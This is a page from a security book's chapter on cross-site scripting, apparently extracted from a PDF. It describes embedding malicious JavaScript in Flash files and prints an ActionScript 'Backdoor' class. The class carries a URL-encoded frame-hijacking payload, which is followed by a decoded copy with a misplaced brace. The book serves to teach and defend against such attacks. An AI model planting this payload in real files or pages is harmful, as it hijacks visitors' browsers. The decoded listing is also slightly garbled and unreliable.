Download

XSS Theory • Chapter 4 115NOTEIf you are running the latest version of the Flash plug-in, you may need totest the examples provided here from a Web server. Flash does a good job ofpreventing a number of attacks. If javscript: protocol expressions are allowedto run at the access level of the file: protocol, an attacker would be able tosimply steal any file on your file system. For the purpose of this book, host allof the examples on a local HTTP server. This way, you don’t have to deal withFlash runtime issues.Attackers can take this concept of embeddings malicious JavaScript inside innocent Flashmovie files further. For example, the following example demonstrates a backdoor that hijacksthe victim’s browser with an iframe:class Backdoor {function Backdoor() {}static function main(mc) {getURL("javascript:function%20framejack%28url%29%20%7B%0A%09var%20ifr%20%3D%20document.createElement%28%27iframe%27%29%3B%0A%09ifr.src%3D%20url%3B%0A%0A%09document.body.scroll%20%3D%20%27no%27%3B%0A%09document.body.appendChild%28ifr%29%3B%0A%09ifr.style.position%20%3D%20%27absolute%27%3B%0A%09ifr.style.width%20%3D%20ifr.style.height%20%3D%20%27100%25%27%3B%0A%09ifr.style.top%20%3D%20ifr.style.left%20%3D%20ifr.style.border%20%3D%200%3B%0A%7D%0A%0Aframejack%28document.location%29%3B%0Avoid%280%29%3B");}}The URL encoded string that is embedded inside the getURL function a simple framehijacking technique:function framejack(url) {var ifr = document.createElement('iframe');ifr.src= url;}document.body.scroll = 'no';document.body.appendChild(ifr);ifr.style.position = 'absolute';ifr.style.width = ifr.style.height = '100%';ifr.style.top = ifr.style.left = ifr.style.border = 0;framejack(document.location);void(0);